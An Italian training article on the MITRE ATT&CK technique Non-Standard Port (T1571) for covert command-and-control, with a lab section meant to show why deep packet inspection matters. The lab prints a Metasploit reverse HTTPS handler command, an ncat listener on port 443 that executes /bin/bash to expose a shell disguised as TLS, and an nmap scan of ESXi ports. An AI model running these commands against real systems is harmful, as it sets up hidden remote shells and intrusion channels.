Iscriviti al webinar gratuito del 12 Maggio per diventare Forensic Analyst! Scopri di più
Corso Ethical Hacker: accedi alla promozione fino al 30 Aprile! Scopri di più
Quando un avversario ha bisogno di parlare con i propri impianti senza farsi notare, una delle leve più semplici e brutalmente efficaci è spostare il traffico C2 su una porta che i difensori non si aspettano. La tecnica Non-Standard Port (T1571) descrive esattamente questo: l'uso di un protocollo su una porta con cui normalmente non è associato — HTTPS sulla 8088, HTTP sulla 880, TLS sulla 143 — oppure la scelta di porte alte e casuali che sfuggono ai filtri perimetrali configurati solo sulle porte canoniche.
La tecnica appartiene alla tattica Command and Control (TA0011), la fase della kill chain in cui l'attaccante ha già compromesso il sistema e deve mantenere un canale di comunicazione stabile e furtivo con la propria infrastruttura. La logica è disarmante: se il firewall consente traffico sulla porta 443 perché "è HTTPS", un protocollo binario custom su quella stessa porta supera il filtro senza ispezione. Se invece la porta 46769 non è monitorata perché nessuno la usa, diventa il canale perfetto.
I numeri del framework confermano la pervasività: 16 gruppi APT, 37 famiglie di malware, 7 campagne documentate e 2 mitigazioni dedicate. Dalla criminalità finanziaria ai gruppi state-sponsored, il port-protocol mismatch è un fondamentale del playbook offensivo.
L'obiettivo in laboratorio è dimostrare quanto sia facile bypassare i controlli perimetrali semplicemente spostando un protocollo su una porta non standard, e quanto sia critico avere deep packet inspection piuttosto che affidarsi a regole basate solo su numeri di porta.
Il primo scenario simula un canale C2 HTTP su porta alta. Con Covenant (open source), un framework C2 scritto in .NET, è possibile configurare un listener HTTP su qualsiasi porta. Dalla console di gestione si crea un listener specificando la porta desiderata — ad esempio 25667 o 47000, come osservato nella campagna Operation Wocao (C0014). Il traffico appare come normali richieste HTTP ma transita su una porta che la maggior parte dei firewall non filtra.
Un secondo scenario, più realistico, sfrutta il mismatch protocollo-porta. Con Metasploit Framework (open source), si può configurare un reverse HTTPS handler su porta 8080:
msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_https; set LHOST <IP_C2>; set LPORT 8080; run"
Il traffico TLS sulla porta 8080 è perfettamente valido a livello TCP, ma un firewall che si limita a classificare la 8080 come "HTTP proxy" non ispezioni il payload crittografato. Questo è esattamente il pattern utilizzato da PingPull e Raspberry Robin.
Per simulare il pattern FakeTLS — traffico che sembra TLS ma non lo è, come fanno HOPLIGHT, HARDRAIN e BADCALL — si può usare ncat (open source, parte di Nmap):
ncat --listen 443 --exec "/bin/bash"
Lato client, la connessione sulla 443 appare come traffico HTTPS a un'ispezione superficiale, ma trasporta una shell interattiva senza alcun handshake TLS reale.
Per scenari ESXi, come quelli di VIRTUALPITA e VIRTUALPIE, è utile verificare quali porte non standard sono raggiungibili dall'esterno. Con Nmap (open source):
nmap -sS -p 2233,7475,18098,546,45678 <target_esxi>
La checklist di validazione per il report dell'esercizio dovrebbe includere:
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo